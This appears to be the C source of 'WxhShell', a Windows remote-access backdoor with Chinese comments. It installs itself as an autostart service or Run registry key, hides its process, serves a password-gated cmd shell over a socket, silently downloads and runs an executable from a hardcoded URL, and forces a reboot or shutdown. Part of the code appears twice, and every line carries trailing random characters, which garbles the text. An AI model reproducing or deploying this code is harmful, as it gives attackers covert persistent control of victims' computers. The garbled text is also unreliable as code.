    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &gc8"B@V  
    else { l6b3i v,  
    closesocket(wsh); VFN\ Ryd  
    ExitThread(0); `r"euO r\  
    } 846j<fE  
    break; cnAwoTt4  
    } g`KVF"8  
  // 获取shell Lu&2^USTO  
  case 's': { &wj;:f  
    CmdShell(wsh); ,RFcR[ak  
    closesocket(wsh); lhm=(7Y  
    ExitThread(0); wI +oG  
    break; c1j)  
  } V}732?Jy  
  // 退出 G!~[+B  
  case 'x': { <wwcPe}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3 wVN:g7  
    CloseIt(wsh); kq6K<e4jO  
    break; }a@ZFk_>  
    } [V`j@dV  
  // 离开 qX{m7  
  case 'q': { ehEXC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ou IoO  
    closesocket(wsh); 6,'v /A-  
    WSACleanup(); ehO@3%z30c  
    exit(1); O~F/pJN`  
    break; ;u LD_1%  
        } 'tK5s>gv<  
  } se](hu~w  
  } ;czMsHu0X  
gx&BzODPd0  
  // 提示信息 620y[iiK$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); />fy@nPl|  
} 4ew|5Zex.~  
  } Z(AI]wk3<  
8:,E=swe  
  return; BsVUEF,N  
} -ecP@,  
&F" Mkyf  
// shell模块句柄 HxJKS*H;  
int CmdShell(SOCKET sock) >`DbT:/<  
{ juuBLv  
STARTUPINFO si; :u#Ls,OZz  
ZeroMemory(&si,sizeof(si)); Mn+;3qo{6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iZ+\vO?|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bL 5z%bV  
PROCESS_INFORMATION ProcessInfo; lpkg( J#&  
char cmdline[]="cmd"; dwks"5l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^GdU$%aa  
  return 0; >jAr9Blz]  
} )F 6#n&2  
N m-{$U  
// 自身启动模式 VY8 p[`  
int StartFromService(void) l|-1H76  
{ ?}%Gr,tj2  
typedef struct DG1  >T  
{ Xg.'<.!g0  
  DWORD ExitStatus; Ltpd:c  
  DWORD PebBaseAddress; C,C%1  
  DWORD AffinityMask; qOz,iR?}  
  DWORD BasePriority; F?'=iY<h  
  ULONG UniqueProcessId; 1QM*oj:  
  ULONG InheritedFromUniqueProcessId; J=>?D@K  
}   PROCESS_BASIC_INFORMATION; eSXt"t  
I ,Q"<? &  
PROCNTQSIP NtQueryInformationProcess; >L/Rf8j&  
v'*Q[ ('  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vBsd.2t~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >x)YdgJ*  
WMBntB   
  HANDLE             hProcess; <Fb3\T L  
  PROCESS_BASIC_INFORMATION pbi; w\=zTHo88  
;nG"y:qq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]@1YgV  
  if(NULL == hInst ) return 0; XhFa9RC  
ke|v|@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R3F>"(P@tS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !c:Q+:,H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ea1{9> S  
"+s#!Fh *  
  if (!NtQueryInformationProcess) return 0; LU4\&fd  
5bFE;Y;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); evPr~_  
  if(!hProcess) return 0; a>`\^>G4  
[8.ufpZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "|`8mNC  
K|];fd U  
  CloseHandle(hProcess); { yU1db^  
.Ozfj@ f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gs 8w/  
if(hProcess==NULL) return 0; rq9{m(  
nL@ "FZ`(  
HMODULE hMod; hC<X\yxe  
char procName[255]; t$r^'ZN  
unsigned long cbNeeded; XETY)<g  
)H$Ik)/N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sj2v*tFb  
l.1)%q&@^  
  CloseHandle(hProcess); xBU\$ToC  
lDV8<  
if(strstr(procName,"services")) return 1; // 以服务启动 `|wH=  
0IBVR,q  
  return 0; // 注册表启动 :gY$/1SYD  
} ;6t>!2I>C  
PC/fb-J  
// 主模块 KgVit+4u/  
int StartWxhshell(LPSTR lpCmdLine) " e g`3v  
{ wRb%-s  
  SOCKET wsl; y?<[g;MuT  
BOOL val=TRUE; RGhl` ;  
  int port=0; zy4AFW  
  struct sockaddr_in door; xq =+M!V  
a*CP1@O  
  if(wscfg.ws_autoins) Install(); )V JAs|  
I!jSAc{  
port=atoi(lpCmdLine); u1` 8f]qt  
\^;Gv%E  
if(port<=0) port=wscfg.ws_port; twt Bt L  
|`s}PcV  
  WSADATA data; MTb}um.($  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {b^naE  
8Nxf2i5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "Na9Xea  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y4VCehdJ  
  door.sin_family = AF_INET; lZ0+:DaP2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ' F`*(\#  
  door.sin_port = htons(port); qh0)~JL4   
OnH>g"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sxgR;gf6  
closesocket(wsl); #"ayq,GC<  
return 1; b-]E -$Uz  
} nX5*pTfjL3  
<X p F  
  if(listen(wsl,2) == INVALID_SOCKET) { !/< 5.9!9r  
closesocket(wsl); , p1 (0i  
return 1; U`FybP2R~  
} tt[P{mMQ  
  Wxhshell(wsl); l4U& CA y  
  WSACleanup(); \*LMc69  
_I~TpH^1K  
return 0; ;DC0LJ  
?#}=!$p  
} 2@08 V|  
m8 0+b8b  
// 以NT服务方式启动 edGV[=]F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  =e$ #m;  
{ IS&`O= 7  
DWORD   status = 0; +D?d)lK  
  DWORD   specificError = 0xfffffff; P7egT,Z  
 cD0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; IL.Jx:(0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d/Py,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C^n L{ZP,  
  serviceStatus.dwWin32ExitCode     = 0; ~e{2Y%  
  serviceStatus.dwServiceSpecificExitCode = 0; b8b-M]P-=  
  serviceStatus.dwCheckPoint       = 0; + W@r p#  
  serviceStatus.dwWaitHint       = 0; wB9IP{Pf  
>=U $s@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zNE!m:s  
  if (hServiceStatusHandle==0) return; $)n{}8^  
<ya'L&  
status = GetLastError(); bx6@FKns}  
  if (status!=NO_ERROR) I,YGm  
{ ykM#EyN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4 T^M@+&|  
    serviceStatus.dwCheckPoint       = 0; m9L+|r  
    serviceStatus.dwWaitHint       = 0; So`xd *C!  
    serviceStatus.dwWin32ExitCode     = status; T^ sxR4F  
    serviceStatus.dwServiceSpecificExitCode = specificError; {_q2kk  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bzJKoxU  
    return; n|,Es!8:o  
  } *s%s|/  
xje{ kx#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 'h81\SKFK9  
  serviceStatus.dwCheckPoint       = 0; ]6:5<NW  
  serviceStatus.dwWaitHint       = 0; ..~{cU4Tt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W/\7m\ B  
} *kKGsy  
whLske-  
// 处理NT服务事件,比如:启动、停止 E_H1X'|qS4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) " Y%\qw/wq  
{ y:,{U*49  
switch(fdwControl) kBONP^xI  
{ wR;l"*j  
case SERVICE_CONTROL_STOP: Z(<ul<?r  
  serviceStatus.dwWin32ExitCode = 0; gIRCJ=e[b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?BLOc;I&a  
  serviceStatus.dwCheckPoint   = 0; RU{}qPs?  
  serviceStatus.dwWaitHint     = 0; Xs!eV  
  { #-@{rgH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @?1%*/  
  } ] !A;-m  
  return; B}MJ?uvA  
case SERVICE_CONTROL_PAUSE: *jJ62-o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FdSaOod8  
  break; HhpP}9P;  
case SERVICE_CONTROL_CONTINUE: S5d{dTPq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I}q-J~s  
  break; Qb|dp~K.M  
case SERVICE_CONTROL_INTERROGATE: jNyC%$  
  break; )R|7> 97  
}; gRFC n6Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cr/|dc'  
} ^s?wnEo;j  
l~=iUZW<  
// 标准应用程序主函数 aQG#bh [  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cpy"1=K~M  
{ lvN{R{7 >  
;+jp,( 7  
// 获取操作系统版本 \8$`:3,@  
OsIsNt=GetOsVer(); FjydEV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v]J# SlF  
7*5ctc!dG  
  // 从命令行安装 +sI.GWQ_:  
  if(strpbrk(lpCmdLine,"iI")) Install(); {L=[1  
~mp$P+M(%p  
  // 下载执行文件 aE%VH ;?  
if(wscfg.ws_downexe) { |-mazvA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ##5/%#eZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); t#q> U%!  
} O7\s1 V;  
IF:M_   
if(!OsIsNt) { %C)JmaQ{9  
// 如果时win9x,隐藏进程并且设置为注册表启动 kmoJ`W} N  
HideProc(); 9,W-KM  
StartWxhshell(lpCmdLine); ${+.1"/[  
} :qbG%_PJ  
else ypd?mw&1}  
  if(StartFromService()) g@2.A;N0  
  // 以服务方式启动 lP e$AI  
  StartServiceCtrlDispatcher(DispatchTable); /kz&9FM  
else [z~Nw#  
  // 普通方式启动 E8i:ER $$7  
  StartWxhshell(lpCmdLine); vo$66A  
mig3.is  
return 0; 7j:{rCp3J  
} b8>9mKs  
]KeNC)R  
[Mz;:/  
X2[cR;;'  
=========================================== sJoi fl 7  
F4Uk+|]Bu  
1 =<|h  
Z-|C{1}A  
,7P^]V1  
_w;+Jh  
" ? 6d4T  
!j9i=YDb  
#include <stdio.h> uw=Ube(  
#include <string.h> 1RbYPX  
#include <windows.h> !h!9SE  
#include <winsock2.h> 8>q% 1]X  
#include <winsvc.h> 9/Dt:R3QU  
#include <urlmon.h> LFyceFbm  
>8fH5  
#pragma comment (lib, "Ws2_32.lib") ok[=1gA#h  
#pragma comment (lib, "urlmon.lib") o2d~  
9D{).f0  
#define MAX_USER   100 // 最大客户端连接数 ,,@`l\Pgd  
#define BUF_SOCK   200 // sock buffer A.9'pi'[9Q  
#define KEY_BUFF   255 // 输入 buffer k_<{j0z.  
_a$DY ,;  
#define REBOOT     0   // 重启 U!:!]DX(  
#define SHUTDOWN   1   // 关机 "GI&S%F  
vQ mackY  
#define DEF_PORT   5000 // 监听端口 qLi9ym, ]  
 |7zP 8  
#define REG_LEN     16   // 注册表键长度 _F@p53WE  
#define SVC_LEN     80   // NT服务名长度 "jO3Y/>S  
@O}j:b  
// 从dll定义API sLdUrD%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3C=clB9<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M#]|$\v(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1L8ULxi_?]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !u4Z0!Ll  
5`'=Ko,N  
// wxhshell配置信息 9C}aX}`  
struct WSCFG { 4c[)}8\  
  int ws_port;         // 监听端口 6BU0hV  
  char ws_passstr[REG_LEN]; // 口令 s9kLB.  
  int ws_autoins;       // 安装标记, 1=yes 0=no U?fN3  
  char ws_regname[REG_LEN]; // 注册表键名 H r^15  
  char ws_svcname[REG_LEN]; // 服务名 b+].Uc  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eH%L?"J~:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?lDcaI>+n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S~Iw?SK3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^[}0&_L w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0j!ke1C&C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8V|jL?a~  
;Z1U@2./  
}; (SsH uNt.  
!Vr45l  
// default Wxhshell configuration =j+oKGkoCa  
struct WSCFG wscfg={DEF_PORT, Ge:-|*F  
    "xuhuanlingzhe", 6~h1iY_~  
    1, OZ!$%.?l  
    "Wxhshell", cbCE $  
    "Wxhshell", NQ!N"C3u  
            "WxhShell Service", E`uaE=Mdq  
    "Wrsky Windows CmdShell Service", %Mng8r  
    "Please Input Your Password: ", *76viqY;dE  
  1, .\~P -{Hd  
  "http://www.wrsky.com/wxhshell.exe", w$lfR ,  
  "Wxhshell.exe" 4nII/cPG  
    }; z[\W\g*|ri  
FW)^O%2s  
// 消息定义模块 I0w@S7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zz 'dg-F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vN,}aV2nq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OKZam ik~  
char *msg_ws_ext="\n\rExit."; 5<O61Lgx  
char *msg_ws_end="\n\rQuit."; nKjeH@&#  
char *msg_ws_boot="\n\rReboot..."; \gp,Txueb  
char *msg_ws_poff="\n\rShutdown..."; AO}i@YJth  
char *msg_ws_down="\n\rSave to "; _Hd1sx  
<a+eF}*2  
char *msg_ws_err="\n\rErr!"; X}j'L&{F@  
char *msg_ws_ok="\n\rOK!"; 0?F@iB~1F  
MeI2i  
char ExeFile[MAX_PATH]; -S,ir  
int nUser = 0; 827)n[#%|  
HANDLE handles[MAX_USER]; =EcIXDzC>  
int OsIsNt; p_5>?[TW:  
#OD@q;  
SERVICE_STATUS       serviceStatus; ! [|vx!p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cCh0?g7nV  
J[<pZ [  
// 函数声明 WE5"A| =  
int Install(void); "6E1W,|{  
int Uninstall(void); loeLj4""  
int DownloadFile(char *sURL, SOCKET wsh); _)#=>$k\  
int Boot(int flag); O,=Q1*c,&  
void HideProc(void); =tS[&6/  
int GetOsVer(void); TDl!qp @  
int Wxhshell(SOCKET wsl); !#c[~erNZ  
void TalkWithClient(void *cs); @0vC v  
int CmdShell(SOCKET sock); F9k I'<Q  
int StartFromService(void); Q"OV>klk  
int StartWxhshell(LPSTR lpCmdLine); kj{rk^x  
TOco({/_/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fXu~69_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P34LV+e  
xxLgC;>[  
// 数据结构和表定义 _b!;(~ @p  
SERVICE_TABLE_ENTRY DispatchTable[] = Nxbd~^j  
{ nb0 Py>4  
{wscfg.ws_svcname, NTServiceMain}, vn0cKz@  
{NULL, NULL} cXb @H#  
}; A]Q1&qM%  
"rjv5*z^&  
// 自我安装 "#-Nqq  
int Install(void) mmrW`~-  
{ "[Qb'9/Jc  
  char svExeFile[MAX_PATH]; =j|v0& AGC  
  HKEY key; t,=@hs hN  
  strcpy(svExeFile,ExeFile); r,u<y_YW  
28T\@zi  
// 如果是win9x系统,修改注册表设为自启动  NVO9XK  
if(!OsIsNt) { Jt-X mGULB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [GR]!\!%~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]cF1c90%  
  RegCloseKey(key); <\1}@?NGC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9C557$nS^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9n>$}UI\  
  RegCloseKey(key); ]RH=s7L  
  return 0; ><;l:RGK|  
    } GOYn\N;V2  
  } )Lc<;=w'9  
} 85r)>aCMn  
else { f MY;  
).0V%}>  
// 如果是NT以上系统,安装为系统服务 *? K4!q'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /S7+B ]  
if (schSCManager!=0) 5,HCeN  
{ gdoJ4b  
  SC_HANDLE schService = CreateService g.[+yzuE6  
  ( r#_7]_3  
  schSCManager, *[d~Nk%Y$  
  wscfg.ws_svcname, My]+?.Ru  
  wscfg.ws_svcdisp, v87$NQvwQ  
  SERVICE_ALL_ACCESS, Qq'i*Mh  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Lnh':7FQJx  
  SERVICE_AUTO_START, n0rerI[R  
  SERVICE_ERROR_NORMAL, S2J#b"Y  
  svExeFile, j~,h )C/ v  
  NULL, 8- dRdQu]  
  NULL, YPF&U4CN  
  NULL, Bii6Z@kS  
  NULL, sg3h i"Im  
  NULL /]ku$.mr\  
  ); //\ds71h  
  if (schService!=0) y#]}5gJ  
  { r?64!VS;  
  CloseServiceHandle(schService); Xtci0eS#V  
  CloseServiceHandle(schSCManager); )^t!|*1LA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ms.PO{wb  
  strcat(svExeFile,wscfg.ws_svcname); wrH7 pd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jZXVsd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -M"IVyy@  
  RegCloseKey(key); .cw!ls7d  
  return 0; kRmj"9oA  
    } #V<`U:.  
  } n_<mPU  
  CloseServiceHandle(schSCManager); o;ik Z*+*  
} :fxWz%t  
} mWNR(()v  
S 3R|8?|  
return 1; 0Vf)Rw1%I  
} B }6Kd  
~_ *H)|  
// 自我卸载 9aTL22U?  
int Uninstall(void) %lXbCE:[  
{ 7< ^'DO s  
  HKEY key; e Wc_N  
y7CWBTH0>  
if(!OsIsNt) { 5B}3GBA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ( FM4 ^#6  
  RegDeleteValue(key,wscfg.ws_regname); @q,)fBZq  
  RegCloseKey(key); Q 2*/`L}m\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N g58/}zO  
  RegDeleteValue(key,wscfg.ws_regname); y&7YJx  
  RegCloseKey(key); .j:i&j(  
  return 0; joe9.{  
  } 2*+ 3Rr J  
} JYPxd~T/-  
} $np=eT)  
else { T}UT 7W|  
T'hml   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P?uf?{  
if (schSCManager!=0) 8|w-XR  
{ }.'Z =yy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F#6cF=};@  
  if (schService!=0) [u[ U_g*  
  { (G#}*  
  if(DeleteService(schService)!=0) { /4yOs@#  
  CloseServiceHandle(schService); 0[.3Es:_  
  CloseServiceHandle(schSCManager); 8GY.){d!l  
  return 0; e{5,'(1]  
  } xFOBF")  
  CloseServiceHandle(schService); A 6:Q<  
  } QO@6VY@  
  CloseServiceHandle(schSCManager);  for {  
} sN-oEqS  
} ]5N zK=2{  
Z #EvRC  
return 1; 9x(}F<L  
} dPHw3^J0j  
<_t5:3HL  
// 从指定url下载文件 M^uU4My  
int DownloadFile(char *sURL, SOCKET wsh) 8zAg;b [  
{ 9X3yp:>V  
  HRESULT hr; \4aKLr  
char seps[]= "/"; Y:wF5pp;  
char *token; !#.\QU|  
char *file; sv' Gt1&"Z  
char myURL[MAX_PATH]; i!L;? `F{  
char myFILE[MAX_PATH]; uMHRUi  
j$+gq*I&E  
strcpy(myURL,sURL); JPLI @zX^  
  token=strtok(myURL,seps); 7ZQ'h3K  
  while(token!=NULL) c -w0  
  { 2\5cjdy  
    file=token; n? ]f@OR  
  token=strtok(NULL,seps); !Vb,zQ  
  } C,.-Q"juH  
HM):"  
GetCurrentDirectory(MAX_PATH,myFILE); y<|)'(  
strcat(myFILE, "\\"); h`lmC]X _  
strcat(myFILE, file); lcCJ?!lsSW  
  send(wsh,myFILE,strlen(myFILE),0); AQe!Sqg'  
send(wsh,"...",3,0); lj*8mS/;h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X($6IL6m  
  if(hr==S_OK) $~=2{  
return 0; qL3@PSN?|  
else Wk}D]o0^@  
return 1; O] H=s  
_#FIay\ahB  
} 847 R   
%[XY67A3I  
// 系统电源模块 ?I\v0H*  
int Boot(int flag) t=i/xG:5  
{ qC..\{z  
  HANDLE hToken; V}SyD(8~  
  TOKEN_PRIVILEGES tkp; iD<6t_8),  
\e|U9;Mf  
  if(OsIsNt) { 2A>C+Y[7\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y^G>{?Tha  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o!utZmk$  
    tkp.PrivilegeCount = 1; 6|^0_6_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %9X{{_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s@s/ '^`  
if(flag==REBOOT) { 2m\m/O  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F@1d%c  
  return 0; "<x&pQZ%  
} ~0ooRUWU7  
else { k}zd' /b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \B&6TeR  
  return 0; Xem5@ (u  
} H} 6CKP}  
  } {`F1u?l  
  else { /W`$yM3  
if(flag==REBOOT) { 5%P[^}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f^?uY8<  
  return 0; ;E#\   
} (z2Z)_6L*L  
else { d=y0yq{L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +zsZNJ(U  
  return 0; 6-]h5L]  
} Gqt-_gga  
} O3Uh+gKQ  
1ef'7a7e8  
return 1;  w;+ br  
} AW/wI6[T  
/$:U$JVb?l  
// win9x进程隐藏模块 z]$>+MH_  
void HideProc(void) ?'w sIH]m  
{ Vho0e V=  
m?;$;x~Dj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %2D17*eK  
  if ( hKernel != NULL ) Mlj#b8  
  { ?/'}JS(Sm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <0 uOq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g~ !$i`_b  
    FreeLibrary(hKernel); vCb]%sd-U  
  } q}wj}t#  
c 0-w6  
return; A,BEKjR~J  
} -72j:nk  
Yj|]Uff8O  
// 获取操作系统版本 x2k*| =$  
int GetOsVer(void) BS7J#8cu  
{ `(DJs-xD  
  OSVERSIONINFO winfo; MCU9O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q0~j$Jc  
  GetVersionEx(&winfo); ^.vmF>$+I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6>,# 6{?jl  
  return 1; C),7- ?  
  else a4&:@`=  
  return 0; nm@']  
} %!y89x=E  
VE]6wwV2  
// 客户端句柄模块 TJOvyz`t  
int Wxhshell(SOCKET wsl) O@jqdJu  
{ S;=_;&68?  
  SOCKET wsh; 1,`H:%z%  
  struct sockaddr_in client; \A<v=VM|  
  DWORD myID; //.>>-~1m  
U -EhPAB@  
  while(nUser<MAX_USER) "K?Q  
{ 0pN{y}x,  
  int nSize=sizeof(client); 3taa^e.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3SNL5  
  if(wsh==INVALID_SOCKET) return 1; a2yE:16o6  
eN/G i<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OVR?*"N_  
if(handles[nUser]==0) %{C)1*M7  
  closesocket(wsh); >SDp uG&>  
else f^9&WT  
  nUser++; PZ,z15PG]  
  } >uy%-aXiVa  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P`TIaP9%E  
+xj "hX>3  
  return 0; Np2ci~"<.  
} L.B~ax.|Z  
>F3.c%VU]w  
// 关闭 socket <o0~H  
void CloseIt(SOCKET wsh) !M;A*:-  
{ r,xmEj0E  
closesocket(wsh); #$'FSy#  
nUser--; Wx]d $_  
ExitThread(0); |!LnAh  
} d ?hz LX  
4D"4zp7  
// 客户端请求句柄 6)[< )?A.[  
void TalkWithClient(void *cs) #3MKH8k&~  
{ {TAw)!R~  
V1<`%=%_W  
  SOCKET wsh=(SOCKET)cs; +a$|Sc  
  char pwd[SVC_LEN]; X:=c5*0e  
  char cmd[KEY_BUFF]; 2o5;Uz1{  
char chr[1]; }1QF+C f  
int i,j; )q3"t2-  
v01#>,R  
  while (nUser < MAX_USER) { Q$a  
^8K/xo-  
if(wscfg.ws_passstr) { H+l,)Se  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B?6QMC;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iiNSDc  
  //ZeroMemory(pwd,KEY_BUFF); `.^ |]|u  
      i=0; <KQ(c`KW7  
  while(i<SVC_LEN) { U7H9/<&o  
Qn=$8!Qqa  
  // 设置超时 ndi+xaQtG  
  fd_set FdRead; #ia;- 3  
  struct timeval TimeOut; #a,9B-X  
  FD_ZERO(&FdRead); ({[,$dEa;  
  FD_SET(wsh,&FdRead); #I%s 3  
  TimeOut.tv_sec=8; WY>Knp=  
  TimeOut.tv_usec=0; M"wue*&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q~Ea8UT. #  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nvyB/  
8;n_TMb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6E^~n  
  pwd=chr[0];  `w<J25  
  if(chr[0]==0xd || chr[0]==0xa) { [,g~m9  
  pwd=0; g1|w?pI1  
  break; 3M<!?%v\A  
  } ~V+l_ :  
  i++; 3?E}t*/  
    } dGkg aC+  
97LpY_sU  
  // 如果是非法用户,关闭 socket tZho)[1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]J@/p:S>  
} P!<[U!<hH  
,rO[mNk9@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z[ZDQ o1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g7V_ [R(6  
<B[G |FY,  
while(1) { 7NF/]y4w  
Q`6i=mB;  
  ZeroMemory(cmd,KEY_BUFF); C1fyV]  
v?j!&d>  
      // 自动支持客户端 telnet标准   @8gEH+r  
  j=0; LwdV3vb#  
  while(j<KEY_BUFF) { 5 Op_*N{V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3!#/k+,C  
  cmd[j]=chr[0]; n?QZFeI`  
  if(chr[0]==0xa || chr[0]==0xd) { 12( wj6Q  
  cmd[j]=0; i_l+:/+G+  
  break; M{KW@7j  
  } flnVYQe  
  j++; 8MF2K6  
    } fN[8N$1-  
xPC"c*  
  // 下载文件 p538r[f<  
  if(strstr(cmd,"http://")) { DTY<0Q.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); FvXqggfGv  
  if(DownloadFile(cmd,wsh)) `X8@/wf#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fRHKQ(a#  
  else hh"-w3+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qrBZvJU  
  } =`t^~.5  
  else { Y &f\VNlT  
6|=j+rScv  
    switch(cmd[0]) { ];FtS>\x  
  %ROwr[Dj=  
  // 帮助 |NMO__l@  
  case '?': { 3S"] u}  
